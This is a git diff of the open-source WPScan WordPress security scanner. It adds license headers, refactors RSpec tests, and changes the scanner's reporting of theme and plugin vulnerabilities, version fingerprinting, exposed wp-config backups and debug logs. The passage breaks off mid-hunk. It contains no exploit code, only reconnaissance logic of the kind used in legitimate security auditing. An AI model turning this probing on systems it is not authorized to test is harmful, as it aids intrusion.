+      @expected_theme = WpTheme.new(:name => "Merchant", :base_url => "", :path => "", :wp_content_dir => "")
     end
   end
 
@@ -107,7 +128,7 @@ describe WpTheme do
     end
 
     it "should return nil if no theme is found" do
-      @fixture  = SPEC_FIXTURES_DIR + "/empty-file"
+      @fixture = SPEC_FIXTURES_DIR + "/empty-file"
       @expected_name = nil
     end
 
@@ -130,30 +151,87 @@ describe WpTheme do
       if @fixture
         stub_request_to_fixture(:url => theme_style_url, :fixture => @fixture)
 
-        wp_theme = WpTheme.new('spec-theme', :style_url => theme_style_url)
+        wp_theme = WpTheme.new(:name => "spec-theme", :style_url => theme_style_url, :base_url => "", :path => "", :wp_content_dir => "")
 
         wp_theme.version.should === @expected
       end
     end
 
     it "should return nil if the version is not found" do
-      @fixture  = fixtures_dir + "/twentyeleven-unknow.css"
+      @fixture = fixtures_dir + "/twentyeleven-unknow.css"
       @expected = nil
     end
 
     it "should return nil if the style_url is nil" do
-      WpTheme.new("hello-world").version.should be_nil
+      WpTheme.new(:name => "hello-world", :base_url => "", :path => "", :wp_content_dir => "").version.should be_nil
     end
 
     it "should return 1.3" do
-      @fixture  = fixtures_dir + "/twentyeleven-1.3.css"
+      @fixture = fixtures_dir + "/twentyeleven-1.3.css"
       @expected = "1.3"
     end
 
     it "should return 1.5.1" do
-      @fixture  = fixtures_dir + "/bueno-1.5.1.css"
+      @fixture = fixtures_dir + "/bueno-1.5.1.css"
       @expected = "1.5.1"
     end
   end
 
+  describe "#===" do
+    it "should return false (name not equal)" do
+      instance = WpTheme.new(:base_url => "http://sub.example.com/path/to/wordpress/",
+                             :path => "themes/name/asdf.php",
+                             :vulns_file => "XXX.xml",
+                             :version => "1.0"
+      )
+      instance2 = WpTheme.new(:base_url => "http://sub.example.com/path/to/wordpress/",
+                              :path => "themes/newname/asdf.php",
+                              :vulns_file => "XXX.xml",
+                              :version => "1.0"
+      )
+      (instance===instance2).should == false
+    end
+
+    it "should return false (version not equal)" do
+      instance = WpTheme.new(:base_url => "http://sub.example.com/path/to/wordpress/",
+                             :path => "themes/name/asdf.php",
+                             :vulns_file => "XXX.xml",
+                             :version => "1.0"
+      )
+      instance2 = WpTheme.new(:base_url => "http://sub.example.com/path/to/wordpress/",
+                              :path => "themes/name/asdf.php",
+                              :vulns_file => "XXX.xml",
+                              :version => "2.0"
+      )
+      (instance===instance2).should == false
+    end
+
+    it "should return false (version and name not equal)" do
+      instance = WpTheme.new(:base_url => "http://sub.example.com/path/to/wordpress/",
+                             :path => "themes/name/asdf.php",
+                             :vulns_file => "XXX.xml",
+                             :version => "1.0"
+      )
+      instance2 = WpTheme.new(:base_url => "http://sub.example.com/path/to/wordpress/",
+                              :path => "themes/newname/asdf.php",
+                              :vulns_file => "XXX.xml",
+                              :version => "2.0"
+      )
+      (instance===instance2).should == false
+    end
+
+    it "should return true" do
+      instance = WpTheme.new(:base_url => "http://sub.example.com/path/to/wordpress/",
+                             :path => "themes/test/asdf.php",
+                             :vulns_file => "XXX.xml",
+                             :version => "1.0"
+      )
+      instance2 = WpTheme.new(:base_url => "http://sub.example.com/path/to/wordpress/",
+                              :path => "themes/test/asdf.php",
+                              :vulns_file => "XXX.xml",
+                              :version => "1.0"
+      )
+      (instance===instance2).should == true
+    end
+  end
 end
diff --git a/spec/lib/wpscan/wp_user_spec.rb b/spec/lib/wpscan/wp_user_spec.rb
new file mode 100644
index 00000000..b4f865e2
--- /dev/null
+++ b/spec/lib/wpscan/wp_user_spec.rb
@@ -0,0 +1,85 @@
+#--
+# WPScan - WordPress Security Scanner
+# Copyright (C) 2012
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+#++
+
+require File.expand_path(File.dirname(__FILE__) + "/wpscan_helper")
+
+describe WpUser do
+  describe "#initialize" do
+    it "should replace nil with empty" do
+      user = WpUser.new(nil, nil, nil)
+      user.name.should == "empty"
+      user.id.should == "empty"
+      user.nickname == "empty"
+    end
+
+    it "should initialize a user object" do
+      user = WpUser.new("name", "id", "nickname")
+      user.name.should == "name"
+      user.id.should == "id"
+      user.nickname == "nickname"
+    end
+  end
+
+  describe "#<=>" do
+    it "should return -1" do
+      user1 = WpUser.new("b", nil, nil)
+      user2 = WpUser.new("a", nil, nil)
+      (user1<=>user2).should === -1
+    end
+
+    it "should return 0" do
+      user1 = WpUser.new("a", nil, nil)
+      user2 = WpUser.new("a", nil, nil)
+      (user1<=>user2).should === 0
+    end
+
+    it "should return 1" do
+      user1 = WpUser.new("a", nil, nil)
+      user2 = WpUser.new("b", nil, nil)
+      (user1<=>user2).should === 1
+    end
+  end
+
+  describe "#===" do
+    it "should return true" do
+      user1 = WpUser.new("a", "id", "nick")
+      user2 = WpUser.new("a", "id", "nick")
+      (user1===user2).should be_true
+    end
+
+    it "should return false" do
+      user1 = WpUser.new("a", "id", "nick")
+      user2 = WpUser.new("b", "id", "nick")
+      (user1===user2).should be_false
+    end
+  end
+
+  describe "#eql?" do
+    it "should return true" do
+      user1 = WpUser.new("a", "id", "nick")
+      user2 = WpUser.new("a", "id", "nick")
+      (user1.eql? user2).should be_true
+    end
+
+    it "should return false" do
+      user1 = WpUser.new("a", "id", "nick")
+      user2 = WpUser.new("b", "id", "nick")
+      (user1.eql? user2).should be_false
+    end
+  end
+end
\ No newline at end of file
diff --git a/spec/lib/wpscan/wp_version_spec.rb b/spec/lib/wpscan/wp_version_spec.rb
index fa59d9e2..a2182761 100644
--- a/spec/lib/wpscan/wp_version_spec.rb
+++ b/spec/lib/wpscan/wp_version_spec.rb
@@ -1,10 +1,28 @@
+#--
+# WPScan - WordPress Security Scanner
+# Copyright (C) 2012
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+#++
+
 require File.expand_path(File.dirname(__FILE__) + '/wpscan_helper')
 
 describe WpVersion do
 
   before :all do
-    @target_uri  = URI.parse('http://example.localhost/')
-    @browser     = Browser.instance(:config_file => SPEC_FIXTURES_CONF_DIR + '/browser/browser.conf.json')
+    @target_uri = URI.parse('http://example.localhost/')
+    @browser = Browser.instance(:config_file => SPEC_FIXTURES_CONF_DIR + '/browser/browser.conf.json')
   end
 
   describe "#find_from_meta_generator" do
@@ -13,21 +31,21 @@ describe WpVersion do
     after :each do
       stub_request_to_fixture(:url => @target_uri.to_s, :fixture => @fixture)
 
-      WpVersion.find_from_meta_generator(@target_uri.to_s).should === @expected
+      WpVersion.find_from_meta_generator(:base_url => @target_uri.to_s).should === @expected
     end
 
     it "should return nil if the meta-generator is not found" do
-      @fixture  = fixtures_dir + "/no-meta-generator.htm"
+      @fixture = fixtures_dir + "/no-meta-generator.htm"
       @expected = nil
     end
 
     it "should return 3.3.2" do
-      @fixture  = fixtures_dir + "/3.3.2.htm"
+      @fixture = fixtures_dir + "/3.3.2.htm"
       @expected = "3.3.2"
     end
 
     it "should return 3.4-beta4" do
-      @fixture  = fixtures_dir + "/3.4-beta4.htm"
+      @fixture = fixtures_dir + "/3.4-beta4.htm"
       @expected = "3.4-beta4"
     end
   end
@@ -39,32 +57,32 @@ describe WpVersion do
       @status_code ||= 200
       stub_request_to_fixture(:url => @target_uri.merge("feed/").to_s, :status => @status_code, :fixture => @fixture)
 
-      WpVersion.find_from_rss_generator(@target_uri).should === @expected
+      WpVersion.find_from_rss_generator(:base_url => @target_uri).should === @expected
     end
 
     it "should return nil on a 404" do
       @status_code = 404
-      @fixture  = SPEC_FIXTURES_WPSCAN_WP_VERSION_DIR + "/404.htm"
+      @fixture = SPEC_FIXTURES_WPSCAN_WP_VERSION_DIR + "/404.htm"
       @expected = nil
     end
 
     it "should return nil if the rss-generator is not found" do
-      @fixture  = fixtures_dir + "/no-rss-generator.htm"
+      @fixture = fixtures_dir + "/no-rss-generator.htm"
       @expected = nil
     end
 
     it "should return nil if the version is not found (but the rss-generator is present)" do
-      @fixture  = fixtures_dir + "/no-version.htm"
+      @fixture = fixtures_dir + "/no-version.htm"
       @expected = nil
     end
 
     it "shuld return 3.3.2" do
-      @fixture  = fixtures_dir + "/3.3.2.htm"
+      @fixture = fixtures_dir + "/3.3.2.htm"
       @expected = "3.3.2"
     end
 
     it "should return 3.4-beta4" do
-      @fixture  = fixtures_dir + "/3.4-beta4.htm"
+      @fixture = fixtures_dir + "/3.4-beta4.htm"
       @expected = "3.4-beta4"
     end
   end
@@ -72,23 +90,23 @@ describe WpVersion do
   describe "#find_from_sitemap_generator" do
     after :each do
       stub_request(:get, @target_uri.merge("sitemap.xml").to_s).
-        to_return(:status => 200, :body => @body)
+          to_return(:status => 200, :body => @body)
 
-        WpVersion.find_from_sitemap_generator(@target_uri).should === @expected
-      end
+      WpVersion.find_from_sitemap_generator(:base_url => @target_uri).should === @expected
+    end
 
     it "should return nil if the generator is not found" do
-      @body     = ''
+      @body = ''
       @expected = nil
     end
 
     it "should return the version : 3.3.2" do
-      @body     = "<!-- generator=\"wordpress/3.3.2\" -->"
+      @body = "<!-- generator=\"wordpress/3.3.2\" -->"
       @expected = "3.3.2"
     end
 
     it "should return nil if it's not a valid version, must contains at least one '.'" do
-      @body     = "<!-- generator=\"wordpress/5065\" -->"
+      @body = "<!-- generator=\"wordpress/5065\" -->"
       @expected = nil
     end
   end
@@ -100,24 +118,82 @@ describe WpVersion do
       @status_code ||= 200
       stub_request_to_fixture(:url => @target_uri.merge("readme.html").to_s, :status => @status_code, :fixture => @fixture)
 
-      WpVersion.find_from_readme(@target_uri).should === @expected
+      WpVersion.find_from_readme(:base_url => @target_uri).should === @expected
     end
 
     it "should return nil on a 404" do
       @status_code = 404
-      @fixture     = SPEC_FIXTURES_WPSCAN_WP_VERSION_DIR + "/404.htm"
-      @expected    = nil
+      @fixture = SPEC_FIXTURES_WPSCAN_WP_VERSION_DIR + "/404.htm"
+      @expected = nil
     end
 
     it "should return nil if the version number is not present" do
-      @fixture  = fixtures_dir + "/empty-version.html"
+      @fixture = fixtures_dir + "/empty-version.html"
       @expected = nil
     end
 
     it "should return 3.3.2" do
-      @fixture  = fixtures_dir + "/readme-3.3.2.html"
+      @fixture = fixtures_dir + "/readme-3.3.2.html"
       @expected = "3.3.2"
     end
   end
 
+  describe "#find_from_advanced_fingerprinting" do
+    let(:fixtures_dir) { SPEC_FIXTURES_WPSCAN_WP_VERSION_DIR + "/advanced" }
+
+    it "should return 3.2.1" do
+      stub_request_to_fixture(:url => @target_uri.merge("wp-admin/js/wp-fullscreen.js").to_s,
+                              :status => 200,
+                              :fixture => "#{fixtures_dir}/3.2.1.js")
+      version = WpVersion.find_from_advanced_fingerprinting(:base_url => @target_uri,
+                                                            :wp_content_dir => "wp-content",
+                                                            :version_xml => "#{fixtures_dir}/wp_versions.xml")
+      version.should == "3.2.1"
+    end
+  end
+
+  describe "#find_from_links_opml" do
+    let(:fixtures_dir) { SPEC_FIXTURES_WPSCAN_WP_VERSION_DIR + "/opml" }
+
+    it "should return 3.4.2" do
+      stub_request_to_fixture(:url => @target_uri.merge("wp-links-opml.php").to_s,
+                              :status => 200,
+                              :fixture => "#{fixtures_dir}/wp-links-opml.xml")
+      version = WpVersion.find_from_links_opml(:base_url => @target_uri)
+      version.should == "3.4.2"
+    end
+
+    it "should return nil" do
+      stub_request_to_fixture(:url => @target_uri.merge("wp-links-opml.php").to_s,
+                              :status => 200,
+                              :fixture => "#{fixtures_dir}/wp-links-opml-nogenerator.xml")
+      version = WpVersion.find_from_links_opml(:base_url => @target_uri)
+      version.should be_nil
+    end
+  end
+
+  describe "#initialize" do
+    it "should initialize a WpVersion object" do
+      v = WpVersion.new(1, {:discovery_method => "method", :vulns_file => "asdf.xml"})
+      v.number.should == 1
+      v.discovery_method.should == "method"
+    end
+  end
+
+  describe "#find" do
+    let(:fixtures_dir) { SPEC_FIXTURES_WPSCAN_WP_VERSION_DIR + '/advanced' }
+
+    it "should find all versions" do
+      # All requests get a HTTP 404
+      stub_request(:any, /.*/).to_return(:status => 404)
+      # Wordpress Version 3.2.1
+      stub_request_to_fixture(:url => @target_uri.merge("wp-admin/js/wp-fullscreen.js").to_s,
+                              :status => 200,
+                              :fixture => "#{fixtures_dir}/3.2.1.js")
+      version = WpVersion.find(@target_uri, "wp-content")
+      version.number.should == "3.2.1"
+      version.discovery_method.should == "advanced fingerprinting"
+    end
+  end
+
 end
diff --git a/spec/lib/wpscan/wp_vulnerability_spec.rb b/spec/lib/wpscan/wp_vulnerability_spec.rb
new file mode 100644
index 00000000..14cd1c49
--- /dev/null
+++ b/spec/lib/wpscan/wp_vulnerability_spec.rb
@@ -0,0 +1,30 @@
+# TODO
+
+describe "#vulnerabilities" do
+  let(:location_url) { "http://example.localhost/" }
+  let(:fixtures_dir) { SPEC_FIXTURES_WPSCAN_WP_PLUGIN_DIR + "/vulnerabilities" }
+  let(:vulns_file) { fixtures_dir + "/plugin_vulns.xml" }
+  let(:wp_plugin) { WpPlugin.new(:base_url => location_url,
+                                 :name => "spec-plugin",
+                                 :path => "plugins/spec-plugin/",
+                                 :vulns_file => vulns_file)
+  }
+
+
+  it "should return an empty array when no vulnerabilities are found" do
+    WpPlugin.new(:base_url => "http://example.localhost/",
+                 :name => "no-vulns",
+                 :path => "plugins/no-vulns/",
+                 :vulns_file => vulns_file).vulnerabilities.should be_empty
+  end
+
+  it "should return an arry with 2 vulnerabilities" do
+    vulnerabilities = wp_plugin.vulnerabilities
+
+    vulnerabilities.should_not be_empty
+    vulnerabilities.length.should == 2
+    vulnerabilities.each { |vulnerability| vulnerability.should be_a WpVulnerability }
+    vulnerabilities[0].title.should === "WPScan Spec"
+    vulnerabilities[1].title.should === "Spec SQL Injection"
+  end
+end
\ No newline at end of file
diff --git a/spec/lib/wpscan/wpscan_helper.rb b/spec/lib/wpscan/wpscan_helper.rb
index 42112f16..306fb186 100644
--- a/spec/lib/wpscan/wpscan_helper.rb
+++ b/spec/lib/wpscan/wpscan_helper.rb
@@ -1,3 +1,21 @@
+#--
+# WPScan - WordPress Security Scanner
+# Copyright (C) 2012
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+#++
+
 require File.expand_path(File.dirname(__FILE__) + '/../../spec_helper')
 
 require WPSCAN_LIB_DIR + '/wpscan_helper'
@@ -12,13 +30,13 @@ SPEC_FIXTURES_WPSCAN_WP_VERSION_DIR = SPEC_FIXTURES_WPSCAN_DIR + '/wp_version'
 
 class WpScanModuleSpec
   attr_reader :uri
-  attr_accessor :error_404_hash
+  attr_accessor :error_404_hash, :wp_content_dir, :verbose
 
   def initialize(target_url)
     @uri = URI.parse(add_http_protocol(target_url))
     Browser.instance(
-      :config_file   => SPEC_FIXTURES_CONF_DIR + '/browser/browser.conf.json',
-      :cache_timeout => 0
+        :config_file => SPEC_FIXTURES_CONF_DIR + '/browser/browser.conf.json',
+        :cache_timeout => 0
     )
   end
 
diff --git a/spec/lib/wpscan/wpscan_options_spec.rb b/spec/lib/wpscan/wpscan_options_spec.rb
index 15cb6fdd..86836d94 100644
--- a/spec/lib/wpscan/wpscan_options_spec.rb
+++ b/spec/lib/wpscan/wpscan_options_spec.rb
@@ -1,3 +1,21 @@
+#--
+# WPScan - WordPress Security Scanner
+# Copyright (C) 2012
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+#++
+
 require File.expand_path(File.dirname(__FILE__) + '/wpscan_helper')
 
 describe "WpscanOptions" do
@@ -70,7 +88,8 @@ describe "WpscanOptions" do
   describe "#enumerate_plugins=" do
     it "should raise an error" do
       @wpscan_options.enumerate_only_vulnerable_plugins = true
-      expect { @wpscan_options.enumerate_plugins = true }.to raise_error
+      expect { @wpscan_options.enumerate_plugins = true }.to raise_error(RuntimeError,
+                                                                         "You can't enumerate plugins and only vulnerable plugins at the same time, please choose only one")
     end
 
     it "should not raise an error" do
@@ -81,10 +100,26 @@ describe "WpscanOptions" do
     end
   end
 
+  describe "#enumerate_themes=" do
+    it "should raise an error" do
+      @wpscan_options.enumerate_only_vulnerable_themes = true
+      expect { @wpscan_options.enumerate_themes = true }.to raise_error(RuntimeError,
+                                                                        "You can't enumerate themes and only vulnerable themes at the same time, please choose only one")
+    end
+
+    it "should not raise an error" do
+      @wpscan_options.enumerate_only_vulnerable_themes = false
+      @wpscan_options.enumerate_themes = true
+
+      @wpscan_options.enumerate_themes.should be_true
+    end
+  end
+
   describe "#enumerate_only_vulnerable_plugins=" do
     it "should raise an error" do
       @wpscan_options.enumerate_plugins = true
-      expect { @wpscan_options.enumerate_only_vulnerable_plugins = true }.to raise_error
+      expect { @wpscan_options.enumerate_only_vulnerable_plugins = true }.to raise_error(RuntimeError,
+                                                                                         "You can't enumerate plugins and only vulnerable plugins at the same time, please choose only one")
     end
 
     it "should not raise an error" do
@@ -95,6 +130,21 @@ describe "WpscanOptions" do
     end
   end
 
+  describe "#enumerate_only_vulnerable_themes=" do
+    it "should raise an error" do
+      @wpscan_options.enumerate_themes = true
+      expect { @wpscan_options.enumerate_only_vulnerable_themes = true }.to raise_error(RuntimeError,
+                                                                                        "You can't enumerate themes and only vulnerable themes at the same time, please choose only one")
+    end
+
+    it "should not raise an error" do
+      @wpscan_options.enumerate_themes = false
+      @wpscan_options.enumerate_only_vulnerable_themes = true
+
+      @wpscan_options.enumerate_only_vulnerable_themes.should be_true
+    end
+  end
+
   describe "#to_h" do
     it "should return an empty hash" do
       @wpscan_options.to_h.should be_a Hash
@@ -126,12 +176,12 @@ describe "WpscanOptions" do
     end
 
     it "should return 'url'" do
-      @option   = "--url"
+      @option = "--url"
       @expected = "url"
     end
 
     it "should return 'u'" do
-      @option   = "-u"
+      @option = "-u"
       @expected = 'u'
     end
 
@@ -225,8 +275,8 @@ describe "WpscanOptions" do
     it "should set enumerate_timthumbs to true, enumerate_usernames to true, enumerate_usernames_range to (1..2)" do
       @argument = "u[1-2]t"
       @expected_hash = {
-        :enumerate_usernames => true, :enumerate_usernames_range => (1..2),
-        :enumerate_timthumbs => true
+          :enumerate_usernames => true, :enumerate_usernames_range => (1..2),
+          :enumerate_timthumbs => true
       }
     end
   end
diff --git a/spec/lib/wpstools/wpstools_helper.rb b/spec/lib/wpstools/wpstools_helper.rb
index bef7f87d..5c1615a1 100644
--- a/spec/lib/wpstools/wpstools_helper.rb
+++ b/spec/lib/wpstools/wpstools_helper.rb
@@ -1,3 +1,21 @@
+#--
+# WPScan - WordPress Security Scanner
+# Copyright (C) 2012
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+#++
+
 require File.expand_path(File.dirname(__FILE__) + '/../../spec_helper')
 
 require WPSTOOLS_LIB_DIR + '/wpstools_helper'
diff --git a/spec/spec_helper.rb b/spec/spec_helper.rb
index 8ca23494..f9a8df1c 100644
--- a/spec/spec_helper.rb
+++ b/spec/spec_helper.rb
@@ -1,3 +1,21 @@
+#--
+# WPScan - WordPress Security Scanner
+# Copyright (C) 2012
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+#++
+
 # https://github.com/bblimke/webmock
 # https://github.com/colszowka/simplecov
 
@@ -52,8 +70,8 @@ def stub_request_to_fixture(arguments = {})
   raise "No arguments[:url] supplied" if arguments[:url].nil?
   raise "No arguments[:fixture] supplied" if arguments[:fixture].nil?
 
-  stub_request(arguments[:method], arguments[:url]).
-    to_return(:status => arguments[:status], :body => File.new(arguments[:fixture]))
+  stub_request(arguments[:method], arguments[:url].to_s).
+      to_return(:status => arguments[:status], :body => File.new(arguments[:fixture]))
 end
 
 # The object must be given as we will mock the Kernel#` or Kernel#system (Kernel is a module)
diff --git a/wpscan.rb b/wpscan.rb
index 672601cc..822daf29 100755
--- a/wpscan.rb
+++ b/wpscan.rb
@@ -1,8 +1,8 @@
 #!/usr/bin/env ruby
 
-#
+#--
 # WPScan - WordPress Security Scanner
-# Copyright (C) 2011  Ryan Dewhurst AKA ethicalhack3r
+# Copyright (C) 2012
 #
 # This program is free software: you can redistribute it and/or modify
 # it under the terms of the GNU General Public License as published by
@@ -16,9 +16,7 @@
 #
 # You should have received a copy of the GNU General Public License
 # along with this program.  If not, see <http://www.gnu.org/licenses/>.
-#
-# ryandewhurst at gmail
-#
+#++
 
 $: << '.'
 require File.dirname(__FILE__) +'/lib/wpscan/wpscan_helper'
@@ -55,7 +53,8 @@ begin
     raise "The WordPress URL supplied '#{wp_target.uri}' seems to be down."
   end
 
-  if redirection = wp_target.redirection
+  redirection = wp_target.redirection
+  if redirection
     if wpscan_options.follow_redirection
       puts "Following redirection #{redirection}"
       puts
@@ -80,129 +79,157 @@ begin
     end
   end
 
-  if wp_content_dir = wp_target.wp_content_dir()
-    Browser.instance.variables_to_replace_in_url = {"$wp-content$" => wp_content_dir, "$wp-plugins$" => wp_target.wp_plugins_dir()}
-  else
+  unless wp_target.wp_content_dir
     raise "The wp_content_dir has not been found, please supply it with --wp-content-dir"
   end
 
+  unless wp_target.wp_plugins_dir_exists?
+    puts "The plugins directory '#{wp_target.wp_plugins_dir}' does not exist."
+    puts "You can specify one per command line option (don't forget to include the wp-content directory if needed)"
+    puts "Continue? [y/n]"
+    unless Readline.readline =~ /^y/i
+      exit
+    end
+  end
+
   # Output runtime data
+  start_time = Time.now
   puts "| URL: #{wp_target.url}"
-  puts "| Started on #{Time.now.asctime}"
+  puts "| Started on #{start_time.asctime}"
   puts
 
-  if wp_theme = wp_target.theme
-    theme_version = wp_theme.version
-    puts "[!] The WordPress theme in use is #{wp_theme}"
+  wp_theme = wp_target.theme
+  if wp_theme
+    # Theme version is handled in wp_item.to_s
+    puts green("[+]") + " The WordPress theme in use is #{wp_theme}"
 
     theme_vulnerabilities = wp_theme.vulnerabilities
     unless theme_vulnerabilities.empty?
-      puts "[+] We have identified #{theme_vulnerabilities.size} vulnerabilities for this theme :"
+      puts red("[!]") + " We have identified #{theme_vulnerabilities.size} vulnerabilities for this theme :"
       theme_vulnerabilities.each do |vulnerability|
         puts
-        puts " | * Title: " + vulnerability.title
-        puts " | * Reference: " + vulnerability.reference
+        puts " | " + red("* Title: #{vulnerability.title}")
+        puts " | " + red("* Reference: #{vulnerability.reference}")
       end
       puts
     end
   end
 
   if wp_target.has_readme?
-    puts "[!] The WordPress '#{wp_target.readme_url}' file exists"
+    puts red("[!]") + " The WordPress '#{wp_target.readme_url}' file exists"
   end
 
   if wp_target.has_full_path_disclosure?
-    puts "[!] Full Path Disclosure (FPD) in '#{wp_target.full_path_disclosure_url}'"
+    puts red("[!]") + " Full Path Disclosure (FPD) in '#{wp_target.full_path_disclosure_url}'"
   end
 
   if wp_target.has_debug_log?
-    puts "[!] Debug log file found : #{wp_target.debug_log_url}"
+    puts red("[!]") + " Debug log file found : #{wp_target.debug_log_url}"
   end
 
   wp_target.config_backup.each do |file_url|
-    puts "[!] A wp-config.php backup file has been found '#{file_url}'"
+    puts red("[!] A wp-config.php backup file has been found '#{file_url}'")
+  end
+
+  if wp_target.search_replace_db_2_exists?
+    puts red("[!] searchreplacedb2.php has been found '#{wp_target.search_replace_db_2_url}'")
+  end
+
+  if wp_target.is_multisite?
+    puts green("[+]") + " This site seems to be a multisite (http://codex.wordpress.org/Glossary#Multisite)"
+  end
+
+  if wp_target.registration_enabled?
+    puts green("[+]") + " User registration is enabled"
   end
 
   if wp_target.has_malwares?
     malwares = wp_target.malwares
-    puts "[!] #{malwares.size} malware(s) found :"
+    puts red("[!]") + " #{malwares.size} malware(s) found :"
 
     malwares.each do |malware_url|
       puts
-      puts " | " + malware_url
+      puts " | " + red("#{malware_url}")
     end
     puts
   end
 
-  if wp_version = wp_target.version
-    puts "[!] WordPress version #{wp_version.number} identified from #{wp_version.discovery_method}"
+  wp_version = wp_target.version
+  if wp_version
+    puts green("[+]") + " WordPress version #{wp_version.number} identified from #{wp_version.discovery_method}"
 
     version_vulnerabilities = wp_version.vulnerabilities
 
     unless version_vulnerabilities.empty?
       puts
-      puts "[+] We have identified #{version_vulnerabilities.size} vulnerabilities from the version number :"
+      puts red("[!]") + " We have identified #{version_vulnerabilities.size} vulnerabilities from the version number :"
       version_vulnerabilities.each do |vulnerability|
         puts
-        puts " | * Title: " + vulnerability.title
-        puts " | * Reference: " + vulnerability.reference
+        puts " | " + red("* Title: #{vulnerability.title}")
+        puts " | " + red("* Reference: #{vulnerability.reference}")
       end
     end
   end
 
   if wpscan_options.enumerate_plugins == nil and wpscan_options.enumerate_only_vulnerable_plugins == nil
     puts
-    print "[+] Enumerating plugins from passive detection ... "
+    puts green("[+]") + " Enumerating plugins from passive detection ... "
 
-    plugins = wp_target.plugins_from_passive_detection
+    plugins = wp_target.plugins_from_passive_detection(:base_url => wp_target.uri, :wp_content_dir => wp_target.wp_content_dir)
     unless plugins.empty?
-      print "#{plugins.size} found :\n"
+      puts "#{plugins.size} found :"
 
       plugins.each do |plugin|
         puts
-        puts " | Name: " + plugin.name
-        puts " | Location: " + plugin.location_url.gsub("$wp-plugins$", wp_target.wp_plugins_dir()) #Hotfix
+        puts " | Name: #{plugin.name}"
+        puts " | Location: #{plugin.get_full_url}"
 
         plugin.vulnerabilities.each do |vulnerability|
           puts " |"
-          puts " | [!] " + vulnerability.title
-          puts " | * Reference: " + vulnerability.reference
+          puts " | " + red("[!] #{vulnerability.title}")
+          puts " | " + red("* Reference: #{vulnerability.reference}")
         end
       end
     else
-      print "No plugins found :(\n"
+      puts "No plugins found :("
     end
   end
 
   # Enumerate the installed plugins
   if wpscan_options.enumerate_plugins or wpscan_options.enumerate_only_vulnerable_plugins
     puts
-    puts "[+] Enumerating installed plugins #{'(only vulnerable ones)' if wpscan_options.enumerate_only_vulnerable_plugins} ..."
+    puts green("[+]") + " Enumerating installed plugins #{'(only vulnerable ones)' if wpscan_options.enumerate_only_vulnerable_plugins} ..."
     puts
 
-    plugins = wp_target.plugins_from_aggressive_detection(
-      :only_vulnerable_ones => wpscan_options.enumerate_only_vulnerable_plugins,
-      :show_progress_bar => true
-    )
+    options = {}
+    options[:base_url]              = wp_target.uri
+    options[:only_vulnerable_ones]  = wpscan_options.enumerate_only_vulnerable_plugins || false
+    options[:show_progress_bar]     = true
+    options[:wp_content_dir]        = wp_target.wp_content_dir
+    options[:error_404_hash]        = wp_target.error_404_hash
+    options[:wp_plugins_dir]        = wp_target.wp_plugins_dir
+
+    plugins = wp_target.plugins_from_aggressive_detection(options)
     unless plugins.empty?
       puts
       puts
-      puts "[+] We found " + plugins.size.to_s  + " plugins:"
+      puts green("[+]") + " We found #{plugins.size.to_s} plugins:"
 
       plugins.each do |plugin|
         puts
         puts " | Name: #{plugin}" #this will also output the version number if detected
-        puts " | Location: " + plugin.location_url.gsub("$wp-plugins$", wp_target.wp_plugins_dir()) #Hotfix
-
-        puts " | Directory listing enabled? #{plugin.directory_listing? ? "Yes." : "No."}"
+        puts " | Location: #{plugin.get_url_without_filename}"
+        puts " | Directory listing enabled: Yes" if plugin.directory_listing?
+        puts " | Readme: #{plugin.readme_url}" if plugin.has_readme?
+        puts " | Changelog: #{plugin.changelog_url}" if plugin.has_changelog?
 
         plugin.vulnerabilities.each do |vulnerability|
           #vulnerability['vulnerability'][0]['uri'] == nil ? "" : uri = vulnerability['vulnerability'][0]['uri'] # uri
           #vulnerability['vulnerability'][0]['postdata'] == nil ? "" : postdata = CGI.unescapeHTML(vulnerability['vulnerability'][0]['postdata']) # postdata
 
           puts " |"
-          puts " | [!] " + vulnerability.title
-          puts " | * Reference: " + vulnerability.reference
